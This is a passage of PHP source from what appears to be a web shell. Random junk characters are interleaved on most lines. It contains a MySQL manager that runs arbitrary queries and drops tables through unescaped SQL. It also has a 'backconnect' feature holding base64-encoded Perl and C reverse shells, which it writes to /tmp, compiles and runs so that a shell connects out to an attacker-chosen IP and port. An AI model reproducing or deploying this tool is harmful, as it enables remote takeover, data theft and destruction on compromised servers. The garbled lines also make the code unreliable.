' O7 }1 b D$ F. ~ - $delete_sql = "DELETE FROM $tablename WHERE $where";4 P2 D# s- k( _) _1 a
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);! n6 M! j! z& `6 u7 ?: s/ s* F
- m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());6 z6 P& n/ d1 C( v
- }8 t% m6 G- j/ v- D* B
-
4 i( Z; U( N$ T; F6 C0 n ~% B - if ($tablename && $doing == 'drop') {
% Z" f ?8 h6 x" Q - dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
, M; b/ K5 t. C7 U9 | - if (q("DROP TABLE $tablename")) {
" T. x$ f! K) u. L' e# Q - m('Drop table of success');
) @7 [6 a$ ^) K9 T% d3 _ - $tablename = '';: ]! K; ]+ q/ }. J' t
- } else {. E3 N) m# H5 H% D# Z
- m(mysql_error());7 I4 Q# [. X2 M( z. I+ Q) A
- }
. v8 f4 z5 ~ }( G - }% t& R: M8 b9 Z2 U5 Q0 e
- $ K' k: O' `+ p2 r( u" g
- $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
7 i9 q& _, `) v4 x! w - 4 T( U; B; A. e! H3 K
- formhead(array('title'=>'MYSQL Manager'));9 |$ S2 }) J1 {6 [; r: E7 x9 Q
- makehide('action','sqladmin');
3 |+ f& X+ ~* _1 J3 b5 g* t6 H/ G - p('<p>');4 n! n/ n( m+ O" U" Y) G) ?8 }
- p('DBHost:');
+ N$ v- T" B6 T - makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
2 @" o& k- }& S0 ~ - p(':');
3 A# K9 [& b! m# M( J2 H { - makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));) g! q, b- m$ Q& H! b( z
- p('DBUser:');- Z& Z7 R! K; N* c( G
- makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
; J" J/ ` U2 } - p('DBPass:');
) I) T1 d( G# l - makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));& X. I* Y+ |* C" N$ n
- p('DBCharset:');7 Y- X# Q( A6 Y2 D, H
- makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));7 H. z x9 t1 X/ a& ~; I
- makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
* A+ _& l# c& q - p('</p>');
. ?- q! {) E4 o% v! V9 i - formfoot();
! Z6 L- Z) I% \ - ?>/ q5 ?7 ^; J9 A9 J: T% R
- <script type="text/javascript">& l6 I. H5 Q$ D7 x4 S
- function editrecord(action, base64, tablename){; ]$ l; e5 L" \7 d
- if (action == 'del') {
/ x% U) Z0 a! S S' L - if (!confirm('Is or isn\'t deletion record?')) return;
6 Z% X8 }& t/ n+ s - }
/ G& {: A( ?2 A' x) { - $('recordlist').doing.value=action; E7 v. H/ f! N9 n4 ~! k9 [; L
- $('recordlist').base64.value=base64;
" w; T& w& r7 l# h" [ - $('recordlist').tablename.value=tablename;& C) J8 y8 Z% D, k; |1 W
- $('recordlist').submit();2 z% I; x! g$ b6 c4 f4 O
- }
! S* z. F: s/ a# v - function moddbname(dbname) {
2 ~$ _+ x* E: n4 g. c2 a* L( n* J" [ - if(!dbname) return;: U2 r' z5 Z* o' S. m6 |
- $('setdbname').dbname.value=dbname;
- R4 h1 {: I5 r# e - $('setdbname').submit();; f4 h. l# {( e' v8 S S
- }' k+ r& D# @- |6 F. \% x
- function settable(tablename,doing,page) {
' b4 V3 Q( \" \' S, R, k - if(!tablename) return;) Z* W% T4 r8 ]$ b- ?- X: o8 f9 }* f6 Z
- if (doing) {
: i* X- L# X+ u. s - $('settable').doing.value=doing;) \- U9 W/ m1 ` w. w/ ]
- }# w! T }9 ~" {9 T
- if (page) {- J9 a8 Q! d$ C" R# s6 q2 y: G* F
- $('settable').page.value=page;0 u( |8 b) s; J( e, w
- } |( T F5 B6 |# q4 I& d6 M+ R8 {: b
- $('settable').tablename.value=tablename;5 m& Q, K7 ?$ d2 Q9 }2 `4 A0 I( @2 b
- $('settable').submit();
' S0 I) C0 W2 |5 I7 m0 v - }
# @9 A- l5 L' B - </script>) t, e% V! f5 {0 Y
- <?php
/ Q6 ~3 N4 H' X4 Y; }2 | - //操作记录( e2 p" a1 T! h6 ~+ S
- formhead(array('name'=>'recordlist'));
! [6 ?0 A7 \0 ]2 S! ~5 J- [: K - makehide('doing');4 p4 l4 n2 S2 X0 H) @7 x, i9 Q
- makehide('action','sqladmin');. K9 i9 ] V. q
- makehide('base64');: F1 H2 M; O0 H- g3 o$ n
- makehide('tablename');
c: B8 y9 a8 Z' D: u/ n7 S) V - p($dbform);; I& ^6 x1 ~! u+ u. U
- formfoot();
) Q, G- S% o; f! p, G. N4 a - //选定数据库( V2 m. T; s0 a. ~! l
- formhead(array('name'=>'setdbname'));$ m) W& P: i) V q' ~1 h F
- makehide('action','sqladmin');
- F7 H) `$ b2 h+ ^1 L( Z$ q; s - p($dbform);
; e7 N; o/ h5 x1 Y - if (!$dbname) {" e8 \% z' u. E* O
- makehide('dbname');
9 l$ O2 F" x) r8 e - }
/ N/ u3 W( q$ O6 ` S1 |2 _3 i4 S2 l. R - formfoot();. }: h5 ?3 Z( \' o- x d
- //选定表4 s0 X: a. ^3 ^
- formhead(array('name'=>'settable'));1 _9 R! x9 I6 t8 r) }3 Y, o$ t
- makehide('action','sqladmin');
, S4 r* w" `; E& l9 J; G* R - p($dbform);
/ I; \. z! ]. F. | - makehide('tablename');
3 |6 c" e# G# p& K* j3 M - makehide('page',$page);& O" ?, C# I1 u
- makehide('doing');
( |, f# {( p4 P: ~. Q: Y# z1 P3 ~2 Z2 F - formfoot();
! x6 W& d- D. w& _ - $cachetables = array(); F* a% ?: O# L5 P
- $pagenum = 30;
' a. `+ M5 N/ W2 X, S# h! G6 G0 | - $page = intval($page);
J1 u8 Y4 D0 i- |/ C - if($page) {
6 h* m. }& i% n - $start_limit = ($page - 1) * $pagenum;
% y. L9 U6 o1 o8 N2 [) \; q# x" A9 p( J - } else {
5 U5 X! @* I( b; Y% d( E - $start_limit = 0;$ {* U m0 F) g0 Q/ x. X8 {3 V
- $page = 1;
& E. e/ }9 M' |$ G9 { - }
7 p; i4 j) I1 Z - if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) { x$ e( P$ W5 @
- dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
9 y9 _ r6 l2 z4 d - //获取数据库信息! z8 D9 ^& h/ Q5 V
- $mysqlver = mysql_get_server_info();& s4 ?5 ^* b7 u u
- p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');: A% v2 F6 |: P' z1 i" |0 Z( K9 I
- $highver = $mysqlver > '4.1' ? 1 : 0;
. T4 |, { L7 \0 W, P6 X( G3 ~ - //获取数据库% {3 s2 ~) t! S4 J; ^
- $query = q("SHOW DATABASES");
5 m, ^* D0 C7 V# ~& X - $dbs = array();' [! t. m3 Q1 C
- $dbs[] = '-- Select a database --';' r1 [& U8 Z0 j% ?
- while($db = mysql_fetch_array($query)) {
: r( l2 z% K1 p' r9 L+ d - $dbs[$db['Database']] = $db['Database'];+ j" E# T# y. ^" u* R6 f: j1 n! O
- }
7 t, p% ~! @5 p+ d+ i8 M6 h - makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));, ~0 U+ Q0 h+ j7 D7 D( d) p! x+ |
- $tabledb = array();
3 T2 i; G9 r1 B# i( U - if ($dbname) {3 J" J5 h$ c; [) k: m$ Y
- p('<p>');: v, L( A( h2 g x! h: g
- p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
* t- k. w% }4 a* `* k) m# D, q - if ($tablename) {3 h' G2 C% i5 z+ i
- p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
: u, k9 G T* n" K% S2 G* e) Z - }
8 m) j. y# Y; B4 E. c7 \ - p('</p>');
; _( f2 d0 Y. I - mysql_select_db($dbname);% `4 \5 W- ?! H2 J( ` d6 B, s# `
- $getnumsql = '';
" w! U( ]% a9 v6 W j; C - $runquery = 0;
1 @3 Z9 j: o% ~6 Z. f! m - if ($sql_query) {
" a. f8 E6 q7 [3 x# I$ y - $runquery = 1;6 ?) O: R% y7 S2 |, y
- }
! T1 M# M# v: k - $allowedit = 0;
: a6 x. ]' N+ {/ y6 A; J - if ($tablename && !$sql_query) {8 ?# v% R9 z8 J, d; |% b$ U
- $sql_query = "SELECT * FROM $tablename";9 n$ P) e9 c6 P* x6 R' w# {' b; u
- $getnumsql = $sql_query; A1 |! O+ w e; B
- $sql_query = $sql_query." LIMIT $start_limit, $pagenum";2 O f: {. ]( h. f, L
- $allowedit = 1;- a: l+ f5 _ h4 @! _6 r% V
- }
* O2 o7 z" F& N' S; n+ _ - p('<form action="'.$self.'" method="POST">');
0 S, p9 A+ X4 }: t - p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
: w" e7 H1 Q. ]0 _ - makehide('tablename', $tablename);
`# x5 P6 \' [ - makehide('action','sqladmin');
- L" ~5 }0 I/ S, n3 u" E) g - p($dbform);- c A4 Y- A, [
- p('</form>');/ M$ |# k- @/ G. W+ h- m5 I- G
- if ($tablename || ($runquery && $sql_query)) {
( S; k: x: X% o* f! e& } - if ($doing == 'structure') {! k& q, n& E- [- z( c) k* t
- $result = q("SHOW COLUMNS FROM $tablename");
( Y* _9 q0 `' k8 `( W: q) I3 ]. p - $rowdb = array();. i) Q8 C5 s1 z8 p3 y7 Q
- while($row = mysql_fetch_array($result)) {- V0 u$ f" D! C1 V( L/ O
- $rowdb[] = $row;; L+ K4 H R' [* y, F
- }. k: S/ f E h" c" K+ M! `( v
- p('<table border="0" cellpadding="3" cellspacing="0">');
- I8 [5 G" C# H/ ` - p('<tr class="head">');4 x* ]/ a! o n* R
- p('<td>Field</td>');0 ]+ U* R0 L4 v' c# \( i+ q( L% q
- p('<td>Type</td>');* e8 w: D6 Y; R# R$ \8 g' Z
- p('<td>Null</td>');
+ S( M" d8 G% J2 u! t5 e - p('<td>Key</td>');
. f) Z* R1 B. ~( K; u) C - p('<td>Default</td>');
! m" l" A' w H3 Z; T- Y! } - p('<td>Extra</td>'); K5 D* z" k: T/ N
- p('</tr>');% m- z2 } X4 T0 v$ _! v! p* r! P
- foreach ($rowdb as $row) {
, P, s' W7 e" L. Z$ M+ b - $thisbg = bg();& U1 o" v% H; d
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');7 ?+ p: v: |$ J. H, |: |
- p('<td>'.$row['Field'].'</td>');
2 B- Z( l9 K/ }" q% q& I$ f - p('<td>'.$row['Type'].'</td>');: j2 t' N5 Y/ g& }& H$ y
- p('<td>'.$row['Null'].' </td>');: F, Q$ G1 m' x2 o4 C3 H
- p('<td>'.$row['Key'].' </td>');
/ J" v$ c3 `# Y" Y0 t - p('<td>'.$row['Default'].' </td>');7 Q4 a7 Q2 L5 c8 d
- p('<td>'.$row['Extra'].' </td>');1 t7 J- g- ^5 w( A
- p('</tr>');
1 u0 {3 R7 ?# s( f - }
. T- A J" X6 R8 {' I4 e0 M K- S( t - tbfoot();
- c5 B! R; e7 L5 k5 d# ? - } elseif ($doing == 'insert' || $doing == 'edit') {2 e6 O( W# V8 x4 {( _$ Y1 Q$ C
- $result = q('SHOW COLUMNS FROM '.$tablename);
7 ]6 C* ?6 x* P - while ($row = mysql_fetch_array($result)) {: k$ h3 [8 R" `+ B! O3 O S
- $rowdb[] = $row;# i1 E! G; Q0 K) R# I) v
- }
$ A( x5 e! ?7 c. @# m+ _4 w - $rs = array();3 C$ X: d, Y3 e* n8 T
- if ($doing == 'insert') {
" l3 @5 A! C. k! q T7 M/ E3 T - p('<h2>Insert new line in '.$tablename.' table »</h2>');( G1 F' d, H. |( W5 H- u
- } else {( o# o$ D% C* ]' g- S! o
- p('<h2>Update record in '.$tablename.' table »</h2>');
w7 X9 S) P' V+ y R1 P - $where = base64_decode($base64);
( J* @8 o# L0 f - $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
2 S b! Y, G% d F8 B/ r - $rs = mysql_fetch_array($result);
- m6 Q1 ? V$ P7 ^8 N - }7 [* W; a* L8 \5 H* j; H0 M
- p('<form method="post" action="'.$self.'">');/ x1 U4 a1 u# B0 c9 n7 h% G; v
- p($dbform);
5 t' ?/ y5 f! s% Q; V# _ - makehide('action','sqladmin');
8 }6 [1 A* X0 @7 u3 h5 J4 Z. j4 K - makehide('tablename',$tablename);9 ^3 J0 ? c6 ?8 _1 E
- p('<table border="0" cellpadding="3" cellspacing="0">');9 h# @8 \3 j) M9 ?% W
- foreach ($rowdb as $row) {
/ N1 J B0 J& Q9 `6 H8 j# c - if ($rs[$row['Field']]) {' i2 y1 g: }/ A0 J; E, ^
- $value = htmlspecialchars($rs[$row['Field']]);% ^* {5 ^0 h; Y* v
- } else {
7 Q( i) k: }8 Z% v$ E" X3 V, A" z - $value = '';1 H: o! P0 U4 Z" e4 @
- }
; Z5 ^' X) N; Y1 H* w - $thisbg = bg();
5 Q& Y- _6 B) L! N K6 C - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');" [8 S4 L; R! V% g0 s2 Q
- p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
+ N2 O( o6 C* p9 e) n& l) r - }. h/ a/ p/ Z, a& V& R* H6 h
- if ($doing == 'insert') {
' K6 W8 y( v( b: c+ r - p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
4 Y: g) f7 q, c8 |. U6 O - } else {
! r0 _1 \7 I! J0 i" z7 ^ - p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
- b K7 [2 n1 h% h- A6 T0 V1 P1 _ - makehide('base64', $base64);
# ~5 `$ x+ m$ _7 |+ i" | - }
3 j, F( m& j, J - p('</table></form>');; r+ B: B. n( q! t
- } else {" P, P) L. G# R* z
- $querys = @explode(';',$sql_query);$ l2 K1 m; D" [& X+ b3 A1 F
- foreach($querys as $num=>$query) {$ Z8 J( m T2 r1 S2 @ `" d1 `
- if ($query) {
0 B6 F$ q: @ Q( [7 I. _- K - p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
) _' v# U# }$ {5 m) E8 i k - switch(qy($query))1 {5 Q, Q8 j5 g4 A+ X4 h
- {
$ ~. }% D* e. r8 L% g - case 0:
$ X3 m- n0 F$ N* V - p('<h2>Error : '.mysql_error().'</h2>');8 e2 h( e% U. C5 l
- break; ! J3 A! s8 p( z1 h. O
- case 1:. D: P0 Y: m5 O) V* d; u( c0 x
- if (strtolower(substr($query,0,13)) == 'select * from') {; d# f+ g8 m: B, _! c: }
- $allowedit = 1;) w( l' J# j7 Z; r5 k) n1 y
- }
T. A6 F) e; C' X - if ($getnumsql) {1 `1 g7 d, E( U- E* f
- $tatol = mysql_num_rows(q($getnumsql));
" n8 @% [, ]3 @* o# A6 ^- f; g# Z- i - $multipage = multi($tatol, $pagenum, $page, $tablename);* y$ U" ^4 h0 j F( t: g
- }8 w- A/ ]2 Z g( s% Z$ F: @4 q% t
- if (!$tablename) {3 B8 K9 T( E% a- `2 y
- $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));. i* C* x8 i; y
- $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);0 ? [, g' I, M5 q. I0 l
- preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);# X9 d$ W/ Q: b, z$ i" e- x
- $tablename = $matches[1][0];: `) [* e1 A, Q0 A: B$ I
- }" e2 b- Z0 l0 ~( @
- $result = q($query);
6 O7 C0 J: ?0 ]1 P( B. W5 { - p($multipage);7 @& R; Q. n5 y6 i* H
- p('<table border="0" cellpadding="3" cellspacing="0">');
* i# Y8 @7 ]5 D& ` - p('<tr class="head">');9 i" a" [7 N" n8 C' s; z
- if ($allowedit) p('<td>Action</td>');
" `5 F. K) g/ V - $fieldnum = @mysql_num_fields($result);& q6 O4 T9 d' t8 [
- for($i=0;$i<$fieldnum;$i++){
# r8 R- z2 q; d7 B8 Z1 E3 J - $name = @mysql_field_name($result, $i);
3 R0 W0 a- _. l4 P- H - $type = @mysql_field_type($result, $i);/ F& Z; a2 M4 c u. i
- $len = @mysql_field_len($result, $i);2 ?! E( \) H. K) H
- p("<td nowrap>$name<br><span>$type($len)</span></td>");
- `: x. r2 J+ O! ^$ ?9 E! f: B - }
+ [3 s0 e" P8 ]9 p1 u# ^ - p('</tr>');+ r& {+ ~. l) Y! v( P- [
- while($mn = @mysql_fetch_assoc($result)){* @6 I! A4 w+ k6 @
- $thisbg = bg();
$ u7 I5 x# t$ v. k1 k - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
9 k4 @5 y* E1 L3 g0 s - $where = $tmp = $b1 = '';
6 a$ f3 _ i, A% [: B& t" p! |% x - foreach($mn as $key=>$inside){
6 Y9 v9 R4 T3 m7 @2 N - if ($inside) {+ R1 h. M5 K; F, G3 G
- $where .= $tmp.$key."='".addslashes($inside)."'";
0 W1 l( F* H& t; | - $tmp = ' AND ';
' g- b% a- y& ^9 Q; y( r) x - }4 l9 [+ R& I% [4 ]- m, }. r
- $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
8 x4 l% j+ `0 \( i3 }# q - }
+ W$ p1 ^& m( e7 k d - $where = base64_encode($where);: y) r* b2 {7 ?4 H* ~
- if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
9 ?! z% Z$ E9 z% o - p($b1);
3 V& o- w/ o2 j) Q8 n2 s4 f - p('</tr>');# A; U4 B, ` h$ l
- unset($b1);
0 N: ]% i) @. X1 a; V ^) e, a- Q - }
1 v' B0 p: Z: A" h- v* R. F! ^3 z' Z - tbfoot();. t2 `4 b! b) c; I( e
- p($multipage);5 ?' F" Z& l. I8 v3 I0 @5 Y
- break; 5 Z9 {8 Y& ^$ i2 v( T7 T( I5 E
- case 2:
* c; O& N. d5 K+ h- C - $ar = mysql_affected_rows();/ A7 f2 W8 J5 ?( d3 J _
- p('<h2>affected rows : <b>'.$ar.'</b></h2>');
2 @7 M7 i- @/ t# P7 B0 k - break;
6 X+ J. x$ x2 l - }2 p( ?. y9 D s% S; b4 X! g1 n+ [
- }1 S5 R2 r$ Y# f: Y$ E
- }
0 {6 T8 ^. e. N1 ` - }) H% e7 ] i6 [. P5 x
- } else {3 E6 [& ~+ n. _
- $query = q("SHOW TABLE STATUS");; ~ h7 C8 Q( }( Y2 K7 j2 v5 n- J5 U$ `2 E
- $table_num = $table_rows = $data_size = 0;
) g3 g9 e: N0 N- u - $tabledb = array();
# ?; k* W4 J1 x0 G - while($table = mysql_fetch_array($query)) {
0 t" o. [$ Q: n- } - $data_size = $data_size + $table['Data_length'];
0 v' R% y* q- q4 B* b" O7 G0 @ - $table_rows = $table_rows + $table['Rows'];
6 z5 D2 [0 o8 T - $table['Data_length'] = sizecount($table['Data_length']);& B8 [; b5 w# g9 Z& }- x% T, j0 y6 e
- $table_num++;
$ \" ^9 ]! y" K I - $tabledb[] = $table;' d9 G: r$ Z; l& m% x
- }8 p1 h) M0 G5 R( U
- $data_size = sizecount($data_size);; c9 g4 _6 m0 l l- q
- unset($table);
! C: y6 u' S% u1 Y) C1 a; w - p('<table border="0" cellpadding="0" cellspacing="0">');$ o$ r5 i; j' z& \- A
- p('<form action="'.$self.'" method="POST">');
% b; I# _- C' W$ L: L3 n' | - makehide('action','sqladmin');7 Y; l/ d1 `$ Y+ d: ^8 V- e9 w
- p($dbform);! G' n9 V% J( @9 w
- p('<tr class="head">');( a! I- y- b5 Z, l
- p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
8 h' z9 t& q2 w- m8 F - p('<td>Name</td>');+ ?" w. z8 K# m) i% |$ w) I8 o
- p('<td>Rows</td>');; i2 s9 ~, ]+ j( }/ k! |
- p('<td>Data_length</td>');
' T6 n7 {6 K7 ^6 T3 w" Y - p('<td>Create_time</td>');
" p0 w2 J+ v3 [+ d - p('<td>Update_time</td>');3 T# y4 f: S3 I0 g- m0 R- |
- if ($highver) {7 b" X- ^6 Z$ D" }
- p('<td>Engine</td>');/ K3 z) h* v' g& i' h& V2 N
- p('<td>Collation</td>');
3 j% {: P" ^7 M" U" f1 A+ w - }
8 A" T5 x/ H b1 B9 k6 u0 q - p('</tr>');
8 ~3 X1 v. T- }1 [0 z - foreach ($tabledb as $key => $table) {
! i0 ~ c4 }& v* q - $thisbg = bg();
! T. q! g6 E, ^$ e' H - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');* o. Z1 O, \2 m
- p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');6 f. c- c J$ U% Z$ Z9 X! j
- p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
( G; B4 v- Z3 t6 K, U1 ] h+ N - p('<td>'.$table['Rows'].'</td>');
1 \7 L7 ^8 J4 U, n H' t4 S' c! H - p('<td>'.$table['Data_length'].'</td>');
B% X1 x! b7 L" Z# d: `& C - p('<td>'.$table['Create_time'].'</td>');! E6 B! u9 K& K, i7 ]: s
- p('<td>'.$table['Update_time'].'</td>');
w# M7 c# G2 r: c6 l: |; P( c - if ($highver) {
: P9 O( c! v0 j# h( d% [1 ~$ R - p('<td>'.$table['Engine'].'</td>');. M/ H( I! a$ n8 Q# l
- p('<td>'.$table['Collation'].'</td>');8 m% d' |+ R; h. V8 L$ y
- }5 [* H2 i0 K; R; B+ s
- p('</tr>');
$ A/ n3 C' D. b, W2 a4 L% ^( p - }
3 L! M" t4 G3 ?$ H- p; S4 y - p('<tr class='.bg().'>');
& B* D! T v( O; Y0 }! |. n" m1 n - p('<td> </td>');
( R% G' [6 @: a - p('<td>Total tables: '.$table_num.'</td>');
! o3 @9 p. m1 L1 ^8 G - p('<td>'.$table_rows.'</td>');
/ f( r6 E0 }1 }- s - p('<td>'.$data_size.'</td>');: u7 A* Z3 k" A9 b" }5 K
- p('<td colspan="'.($highver ? 4 : 2).'"> </td>');. t4 C# q! V W' d. o! a
- p('</tr>');3 c H% b# i; X: t& q9 {7 U9 B
- p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");' N2 K5 M$ z) X
- makehide('doing','backupmysql');1 k! t! Y1 p0 i6 A
- formfoot();' d1 ?$ B, l) k
- p("</table>");- N, I$ t' X1 C, {$ J* v2 c9 P
- fr($query);
$ W. a; E1 O$ c$ y3 l6 }3 R; i - }* K+ l/ K3 _% m4 t. u! _6 h
- }5 w" k4 E o/ e% q1 r
- }
. }$ g! N {8 ~4 t5 ^ - tbfoot();
9 r3 L- g5 F2 y4 E3 E& o - @mysql_close();
/ y( m6 e) q3 y% F, ?. [8 m2 I8 C - }//end sql backup
0 P& |7 q7 S4 |+ p \( X* P1 q* w, V - elseif ($action == 'backconnect') {* @2 a; [4 H" j% R
- !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];2 m2 g8 C' V% j1 h$ i6 Z8 k3 x+ f
- !$yourport && $yourport = '12345';
$ w j- ]# S! ^( z3 s2 `; h! {: ? - $usedb = array('perl'=>'perl','c'=>'c');
& D# F; A1 X, t/ P& `( } - $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
# T9 z: t" o$ A6 f3 x; c - "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
# a) j( O; I6 v8 j - "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".! ~0 e/ Q _3 e7 p3 b+ w6 O' }* N
- "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".: _' t) X2 m# o" t- t
- "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
, g8 g+ h! ~! v0 d" I0 l - "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".. Y' {7 o! R3 m9 J
- "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
# ~: f2 G/ V5 \ T) O& [- w - $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
# Q( M+ @% s+ ^6 x3 q - "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".: V( O- h5 F. H
- "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
( `+ p9 H$ [2 e# c2 x" y - "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".+ o+ e, b8 a4 x! Z3 d$ }
- "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".5 P) {6 l/ Y8 ~# g# u
- "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
: k: Q2 `- U0 b/ w - "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
, h7 S* g6 s) d3 g- R - "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
' x/ E) |2 u* p! h! v7 z. ? - if ($start && $yourip && $yourport && $use){% O; E0 B7 a) n. ]
- if ($use == 'perl') {. |3 V- c+ d% F0 _" S
- cf('/tmp/angel_bc',$back_connect);5 z; {3 c5 G6 Q S5 P
- $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");+ w$ {. I1 ]* U! ^8 a
- } else {) Y/ y# Z" f" Q/ B
- cf('/tmp/angel_bc.c',$back_connect_c);% v: e" T% \2 O( A2 Q
- $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
\: z/ ?) m1 Y9 `( n) n1 T( V - @unlink('/tmp/angel_bc.c');* v: l P: c& m( K3 `3 u
- $res = execute("/tmp/angel_bc $yourip $yourport &");4 a5 M; ? e0 _
- }: K2 } _/ m* r+ v! Z4 o7 p
- m("Now script try connect to $yourip port $yourport ...");2 U$ Q& E" z! T' z5 K
- }
